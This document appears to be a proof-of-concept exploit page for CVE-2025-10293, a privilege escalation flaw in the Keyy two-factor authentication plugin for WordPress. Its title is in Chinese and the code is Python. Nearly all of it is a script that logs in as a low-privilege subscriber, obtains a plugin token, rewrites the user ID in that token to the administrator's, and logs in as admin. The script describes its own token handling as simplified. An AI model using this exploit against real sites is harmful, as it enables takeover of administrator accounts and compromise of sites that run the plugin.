CVE-2025-10293 WordPress Keyy双因素认证插件权限提升漏洞

# CVE-2025-10293 PoC - Keyy Two Factor Authentication Privilege Escalation # Vulnerability: Improper token validation allows account takeover # Affected: Keyy plugin versions <= 1.2.3 import requests import re import json TARGET_URL = "http://target-wordpress-site.com" ATTACKER_USER = "attacker_subscriber" ATTACKER_PASS = "attacker_password123" TARGET_ADMIN_ID = 1 # Default WordPress admin user ID def exploit_keyy_privilege_escalation(): session = requests.Session() # Step 1: Login as low-privilege subscriber user print("[*] Step 1: Logging in as subscriber-level attacker...") login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": ATTACKER_USER, "pwd": ATTACKER_PASS, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Request authentication token from Keyy plugin print("[*] Step 2: Requesting auth token from Keyy plugin...") # The Keyy plugin generates tokens via its authentication endpoint keyy_token_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" token_params = { "action": "keyy_get_token", # Keyy plugin's token generation action } token_response = session.post(keyy_token_url, data=token_params) auth_token = token_response.json().get("token") print(f"[+] Obtained auth token: {auth_token[:20]}...") # Step 3: Manipulate token to target admin user print(f"[*] Step 3: Manipulating token to target admin user (ID: {TARGET_ADMIN_ID})...") # The vulnerability exists because the plugin does not properly # bind the token to the requesting user's identity manipulated_token = modify_token_user_id(auth_token, TARGET_ADMIN_ID) # Step 4: Use manipulated token to auto-login as admin print("[*] Step 4: Using manipulated token to auto-login as admin...") auto_login_url = f"{TARGET_URL}/?keyy_token={manipulated_token}" response = session.get(auto_login_url, allow_redirects=True) # Step 5: Verify admin access admin_check = session.get(f"{TARGET_URL}/wp-admin/users.php") if "Administrator" in admin_check.text or "admin" in admin_check.text.lower(): print("[+] SUCCESS! Logged in as administrator!") return True else: print("[-] Exploitation failed") return False def modify_token_user_id(token, target_user_id): """ Modify the token's associated user ID. Due to improper validation, the Keyy plugin accepts tokens with modified user identifiers. """ # Decode and modify the token payload # This is a simplified representation of the token manipulation parts = token.split(":") if len(parts) >= 2: parts[1] = str(target_user_id) return ":".join(parts) if __name__ == "__main__": exploit_keyy_privilege_escalation()